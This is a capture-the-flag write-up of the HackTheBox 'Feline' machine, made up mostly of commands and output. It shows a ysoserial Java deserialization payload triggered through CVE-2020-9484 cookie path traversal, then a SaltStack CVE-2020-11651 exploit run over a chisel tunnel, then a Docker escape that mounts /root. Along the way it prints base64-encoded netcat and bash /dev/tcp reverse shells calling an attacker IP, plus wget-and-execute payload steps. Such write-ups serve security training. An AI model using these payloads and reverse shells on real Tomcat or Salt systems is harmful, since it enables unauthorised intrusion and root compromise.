This page looks best with JavaScript enabled

Feline

 ·  ☕ 12 min read  ·  ✍️ M4t35Z

2020.10.03

Box Information

Name: Feline
OS: Linux
Difficulty: Hard
Points: 40
Release: 29 Aug 2020
IP: 10.10.10.205

Recon

Nmap scan

I ran nmap in order to discover the open ports on the target machine.

Nmap TCP:

nmap -sC -sV -T4 -p- -oA scans/nmap.tcp 10.10.10.205

Output:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-29 22:42 CEST
Nmap scan report for 10.10.10.205
Host is up (0.050s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache Tomcat 9.0.27
|_http-title: VirusBucket
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.67 seconds

Name: feline(some cat related stuff i found on ddg) -> tomCAT

http - TCP 8080

It’s an Apache tomcat server running a malware analysing webpage.

mainpage

The analyser app is at http://10.10.10.205:8080/service:

analyser

  • It needs an email and a file

I gave it a random email asd@asd.asd and a file(my nmap scan).

report_sent

I also intercepted this request(when I press the Analyze button):

req_in_burp

  • My file is in cleartext
  • It uploaded somewhere on the server

Producing errors

I tried to tamper with the filename because when I selected my gobuster outputfile I got an error saying Invalid filename!
This was because of the _ character. Any special chars that aren’t a simple ASCII letter or a number are invalid except the dot(.) character.
I deleted the whole filename and I got a verbosive error that leaked the path of the uploaded file on the system.

  • Note: also works with filename="."

leaked_path
leaked_path_dot

The request:

POST /upload.jsp?email=asd HTTP/1.1
Host: 10.10.10.205:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.205:8080/service/
Content-Type: multipart/form-data; boundary=---------------------------8829612316902379741069123043
Origin: http://10.10.10.205:8080
Content-Length: 301
DNT: 1
Connection: close
Cookie: JSESSIONID=F7812E7DA7679F91E6AB8DBA5DCCCD9E

-----------------------------8829612316902379741069123043
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream

/index.html (Status: 200)
/license.txt (Status: 200)
/script.js (Status: 200)

-----------------------------8829612316902379741069123043--

And the response:

HTTP/1.1 200 
Set-Cookie: JSESSIONID=89212C9D2AEC62F6D002542CB05B1267; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Length: 2867
Date: Sun, 30 Aug 2020 16:28:04 GMT
Connection: close







<div id="error">
java.io.FileNotFoundException: /opt/samples/uploads (Is a directory)
	at java.base/java.io.FileOutputStream.open0(Native Method)
	at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298)
	at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:237)
	at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:187)
	at org.apache.commons.fileupload.disk.DiskFileItem.write(DiskFileItem.java:394)
	at org.apache.jsp.upload_jsp._jspService(upload_jsp.java:205)
	at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
	at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476)
	at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385)
	at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
	at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579)
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	at java.base/java.lang.Thread.run(Thread.java:834)
</div>
  • /opt/samples/uploads was the leaked path

Java deserialization

I found a good article describing this vulnerability.

java -jar /opt/ysoserial/ysoserial-master-6eca5bc740-1.jar CommonsCollections1 'ping 10.10.15.9' > ./expl/deser1_ping
tcpdump -i tun0 icmp

I pasted the previously created file to burp and sent the fileupload request but it didn’t return anything.

It doesn’t trigger the deserialization by default but there is a CVE out there.

I searched for CVE trigger deserialization in ddg and found one.

CVE-2020-9484

When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter=“null” (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.

https://nvd.nist.gov/vuln/detail/CVE-2020-9484
which linked to https://seclists.org/fulldisclosure/2020/Jun/6
and this page linked to https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/ which has the stepts to exploit.

cve-2020-9484_description

Uploaded filename must end with .session cuz the cookie puts a .session at the end of the filename

After some searching on java deserialization I found out it is recommended to encrypt my command using this page:
http://www.jackson-t.ca/runtime-exec-payloads.html

Exploitation

  1. Encode the command you want to run with http://www.jackson-t.ca/runtime-exec-payloads.html
  2. Make the java serialized data file with ysoserial and name it as <something>.session
  3. Use the webpage to upload the file (otherwise with curl or burp it will be in a wrong format)!
  4. CVE-2020-9484 ==> Make a request with the custom cookie
  5. The file gets deserialized and the command gets executed

Encoding the command

I used ping -c 1 10.10.15.9 as my command I wanted to run. I pasted to http://www.jackson-t.ca/runtime-exec-payloads.html.

ping_encoded

bash -c {echo,cGluZyAtYyAxIDEwLjEwLjE1Ljk=}|{base64,-d}|{bash,-i}

Making the exploit file

I used ysoserial to make the serialized java file.

  • Note: I used the CommonsCollections4 payload type
java -jar /opt/ysoserial/ysoserial-master-6eca5bc740-1.jar CommonsCollections4 'bash -c {echo,cGluZyAtYyAxIDEwLjEwLjE1Ljk=}|{base64,-d}|{bash,-i}' > sess.session

Now I have the exploit file:

$ file sess.session
sess.session: Java serialization data, version 5

Uploading the file

I used the webpage to upload my exploit file.

http://10.10.10.205:8080/service/

I selected my sess.session file and hit Analyze!

deser_exploit_uploaded

CVE-2020-9484

I started a listener for icmp packets with tcpdump.

tcpdump -i tun0 icmp

Now I made the request in order to deserialize the uploaded file and get command execution.

curl -H "Cookie: JSESSIONID=../../../../../../../../../../../../opt/samples/uploads/sess" feline.htb:8080/upload.jsp -v

I got a HTTP 500 - Internal Server Error which means my file got deserialized and it ran:

internal_server_error

And I also got the ping:

ping_success

$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
13:45:50.032667 IP feline.htb > 10.10.15.9: ICMP echo request, id 2, seq 1, length 64
13:45:50.032713 IP 10.10.15.9 > feline.htb: ICMP echo reply, id 2, seq 1, length 64
  • This means I have an RCE

I just changed my initial command to a reverse shell 1 liner and did the steps again.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.9 1337 >/tmp/f
bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTUuOSAxMzM3ID4vdG1wL2Y=}|{base64,-d}|{bash,-i}

java -jar /opt/ysoserial/ysoserial-master-6eca5bc740-1.jar CommonsCollections4 'bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTUuOSAxMzM3ID4vdG1wL2Y=}|{base64,-d}|{bash,-i}' > sess.session

---UPLOADED TO THE PAGE---

nc -lvnp 1337

curl -H "Cookie: JSESSIONID=../../../../../../../../../../../../opt/samples/uploads/sess" feline.htb:8080/upload.jsp

gotuser_tomcat

  • Note: I had access to the user flag(/home/tomcat/user.txt:5bfc6f02bdc653f03b262a9473506447)

Privilege Escalation

As always I made my shell a tty with python.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Linpeas

VirusBucket
127.0.0.1 localhost
127.0.1.1 ubuntu VirusBucket

docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:aeff:fe65:a7db  prefixlen 64  scopeid 0x20<link>
        ether 02:42:ae:65:a7:db  txqueuelen 0  (Ethernet)
        RX packets 41  bytes 3881 (3.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 69 

veth73a46fa: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::34c9:78ff:fe2f:8377  prefixlen 64  scopeid 0x20<link>
        ether 36:c9:78:2f:83:77  txqueuelen 0  (Ethernet)
        RX packets 41  bytes 4455 (4.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 90  bytes 8838 (8.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

172.17.0.0      0.0.0.0         255.255.0.0     U     0      0        0 docker0
172.18.0.0      0.0.0.0         255.255.0.0     U     0      0        0 br-e9220f64857c
  • There is docker running!
[+] Iptables rules
*filter
:INPUT ACCEPT [51:3576]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [27:2412]
COMMIT
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:41559         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:4505          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:4506          0.0.0.0:*               LISTEN      -
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN      945/java
udp        0      0 127.0.0.1:34373         127.0.0.53:53           ESTABLISHED -
[+] Writable folders configured in /etc/ld.so.conf.d/
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#etc-ld-so-conf-d
/usr/local/lib
/usr/local/lib/x86_64-linux-gnu
/lib/x86_64-linux-gnu
/usr/lib/x86_64-linux-gnu
/usr/bin/rescan-scsi-bus.sh
[+] Writable log files (logrotten) (limit 100)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation
Writable: /opt/tomcat/logs/localhost.2020-07-20.log
Writable: /opt/tomcat/logs/catalina.2020-08-26.log
Writable: /opt/tomcat/logs/catalina.2020-07-20.log
Writable: /opt/tomcat/logs/localhost.2020-06-17.log
$ ps aux
---[SNIP]---
tomcat      3638  0.0  0.0    524     4 pts/0    S+   08:10   0:00 ./socat TCP-LISTEN:4506,reuseaddr,reuseport,fork,bind=10.10.10.205 TCP:127.0.0.1:4506
---[SNIP]---
  • This is a port forwarding with socat (maybe for the docker container)

Salt explolit

I searched for salt in exploitdb and there were an RCE one.

exploitdbsearch_salt

exploit-db.com/exploits/48421

  • This is for both CVE-2020-11652 and CVE-2020-11651

The source of this exploit is github.com/jasperla/CVE-2020-11651-poc.

I cloned the repo:

https://github.com/jasperla/CVE-2020-11651-poc
  • The python file requires the salt package so I installed it with pip:
python3 -m pip install salt

I ran the exploit with the help flag in order to get the correct syntax:

$ python3 exploit.py -h
usage: exploit.py [-h] [--master MASTER_IP] [--port MASTER_PORT] [--force] [--debug]
                  [--run-checks] [--read READ_FILE] [--upload-src UPLOAD_SRC]
                  [--upload-dest UPLOAD_DEST] [--exec EXEC] [--exec-all EXEC_ALL]

Saltstack exploit for CVE-2020-11651 and CVE-2020-11652

optional arguments:
  -h, --help            show this help message and exit
  --master MASTER_IP, -m MASTER_IP
  --port MASTER_PORT, -p MASTER_PORT
  --force, -f
  --debug, -d
  --run-checks, -c
  --read READ_FILE, -r READ_FILE
  --upload-src UPLOAD_SRC
  --upload-dest UPLOAD_DEST
  --exec EXEC           Run a command on the master
  --exec-all EXEC_ALL   Run a command on all minions

Since these Salt ports are opened to only localhost I must forward them to my machine to be able to run the exploit on them.

Reverse Port Tunneling with chisel

Downloading chisel

github.com/jpillora/chisel

  • I went to the Releases page and downloaded the binary for linux amd64 (chisel_1.7.1_linux_amd64.gz).

I downloaded, extracted and gave it permissions to be executable:

wget https://github.com/jpillora/chisel/releases/download/v1.7.1/chisel_1.7.1_linux_amd64.gz
gunzip chisel_1.7.1_linux_amd64.gz
chmod +x chisel_1.7.1_linux_amd64

I also uploaded to the target(feline) box with the use of python http server and wget and I also made it executable with chmod.

(attacker)$ sudo python3 -m http.server 80
(victim)$ cd /tmp
(victim)$ wget 10.10.14.33/chisel_1.7.1_linux_amd64
(victim)$ chmod +x chisel_1.7.1_linux_amd64

chisel_uploaded

Running chisel

On my attacker box I ran chisel in server mode:

(attacker)$ ./chisel_1.7.1_linux_amd64 server --port 6969 --reverse

(victim)$ ./chisel_1.7.1_linux_amd64 client 10.10.14.33:6969 R:127.0.0.1:4506
  • I got the connection!

chisel_connected

Exploitation

I ran the exploit script by providing the tunelled port and localhost as ip.

(attacker)$ python3 exploit.py --master 127.0.0.1 --port 4506

exploit_test

Output:

[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: fXRBuks0FWHNXFsUQZFbd9KOJ7ra2JoH+wwNjeODAVB0qxeLWXR9FeE6rzeIp7T9vJuCX+QbJsk=
  • The exploit successfully ran

Now, I need a reverse shell. I made a file revs.sh which contained a reverse shell one-liner.

revs.sh:

1
bash -c 'bash -i >& /dev/tcp/10.10.14.33/1338 0>&1'

I made it executable.

chmod +x revs.sh
Downloading and executing the revshell 1liner

Now, I need to download my revs.sh file to the box then execute it.

I hosted a python http.server in directory where revs.sh is.

sudo python3 -m http.server 80

Then I ran the exploit with a --exec flag.

python3 exploit.py --master 127.0.0.1 --exec "wget 10.10.14.33/revs.sh -O /tmp/revs.sh"
  • I got the GET request in the http.server console which means the file was downloaded

Now I should make it executable then ran it while I’m listening with nc.

python3 exploit.py --master 127.0.0.1 --exec "chmod +x /tmp/revs.sh"
rlwrap nc -lvnp 1338
python3 exploit.py --master 127.0.0.1 --exec "bash /tmp/revs.sh"

I got the reverse shell connection!

root@2d24bf61767c:~# hostname;id
hostname;id
2d24bf61767c
uid=0(root) gid=0(root) groups=0(root)

got_docker_root

Privilege Escalation from docker root

Enumeration

root@2d24bf61767c:~# ls -la
ls -la
total 144
drwx------ 1 root root  4096 Oct  3 09:56 .
drwxr-xr-x 1 root root  4096 Jun 30 12:33 ..
-rw------- 1 root root  1353 Oct  3 10:07 .bash_history
-rw-r--r-- 1 root root   570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root   148 Aug 17  2015 .profile
drwxr-xr-x 1 root root  4096 Oct  3 08:46 .ssh
-rwxr-xr-x 1 root root 35520 Oct  3 07:21 nc
-rw-r--r-- 1 root root 35520 Oct  3 07:21 nc.1
-rwxr-xr-x 1 root root 35520 Oct  3 03:51 netcat
-rw-r--r-- 1 root root    52 Oct  3 09:45 revs.sh
-rw-r--r-- 1 root root   137 Jun 30 12:41 todo.txt
root@2d24bf61767c:~# cat .bash_history
cat .bash_history
paswd
passwd
passwd
passswd
passwd
passwd
cd /root
ls
ls -la
rm .wget-hsts
cd .ssh/
ls
cd ..
printf '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cd /home/tomcat
cat /etc/passwd
exit
cd /root/
ls
cat todo.txt
ls -la /var/run/
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
exit
hostname;id
exit
  • There is an interesting line
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
root@2d24bf61767c:~# cat todo.txt
cat todo.txt
- Add saltstack support to auto-spawn sandbox dockers through events.
- Integrate changes to tomcat and make the service open to public.
  • The container name is maybe sandbox

I can try to execute it inside this docker container with root mounted.

  • But there is no docker binary in the container so I must transfer it somehow

I opened a new revshell as user tomcat(sess file upload –> req cookie).

(tomcat)$ python3 -m http.server 8888 --dir /usr/bin &

I used ip a to get the docker ip of the host. Then I used wget to download the docker binary to the container.

(docker)$ wget 172.17.0.1:8888/docker
(docker)$ chmod +x docker

Then I ran the container again inside itself mounting /root to /mnt.

(docker)$ python3 -c 'import pty; pty.spawn("/bin/bash")'
(docker)$ ./docker run -v /root:/mnt -it sandbox

gotuser_root

  • I got root on the main box with these nested dockers
  • I got the root flag too (/mnt/root.txt:be6c5ff296277cb40e645ec3294dc974)

Takeaways

  • If u see java errors(stack trace) go and try out java deserialization
  • Encrpyt your deserialisation payload with www.jackson-t.ca/runtime-exec-payloads.html
  • Always search for ports in the wiki (en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers)
  • Always search in exploitdb
  • And use github for searching for PoCs
  • Docker is usually vulnerable in a boot2root CTF environment
  • If you have both user on the main box and docker root in the container try spawning a nested container by firstly copying the docker binary to the docker container then try creating a new nested container which mounts /root to /mnt
Share on
Support the author with

M4t35Z
WRITTEN BY
M4t35Z